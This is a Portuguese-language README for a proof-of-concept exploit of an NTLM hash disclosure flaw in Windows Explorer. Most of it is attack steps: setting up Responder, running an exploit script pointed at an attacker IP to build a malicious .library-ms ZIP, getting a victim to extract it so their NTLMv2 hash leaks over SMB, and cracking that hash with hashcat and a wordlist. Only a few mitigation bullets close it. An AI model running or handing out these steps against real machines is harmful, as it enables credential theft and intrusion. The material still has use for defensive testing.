CVE-2025-24071-POC-NTLMHashDisclosure

• Desencadeia autenticação SMB automática para uma partilha controlada pelo atacante.
• Nenhuma interação necessária — o Explorador do Windows inicia esta autenticação NTLM automaticamente.
• Resulta na fuga do hash NTLMv2 (divulgação de informação).
• Afeta todas as versões do Windows 10/11, especialmente o 11 23H2.

Configurar o Ambiente do Atacante

sudo apt update && sudo apt install responder -y

Iniciar o Responder

sudo responder -I eth0

Executar o Script de Exploração

Instalar o módulo Python necessário

pip install colorama python3 CVE-2025-24071.py -i <attacker_ip> -n testpayload -o ./output --keep

Isto irá gerar: testpayload.library-ms testpayload.zip

Testar na Máquina Vítima

Transfira o testpayload.zip para a máquina de teste Windows 11. Extraia o ZIP usando o Explorador de Ficheiros do Windows. Isto faz com que o Windows tente aceder ao caminho SMB, vazando o hash NTLM.

Capturar o Hash

responder -I etho0

Preparar o Ficheiro Hash

crie o ficheiro hash,txt

victim::DOMAIN:1122334455667788:11223344556677889900aabbccddeeff:01010000000000000090d5d00f3

Escolher uma Wordlist

a mais comum rockyou.txt

Executar o Hashcat

hashcat -m 5600 -a 0 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt

Mitigação

• Bloquear SMB de saída (TCP 445) nos firewalls.
• Desativar a autenticação automática para partilhas SMB não confiáveis (política de grupo).
• Monitorizar a extração de ficheiros .library-ms e conexões SMB.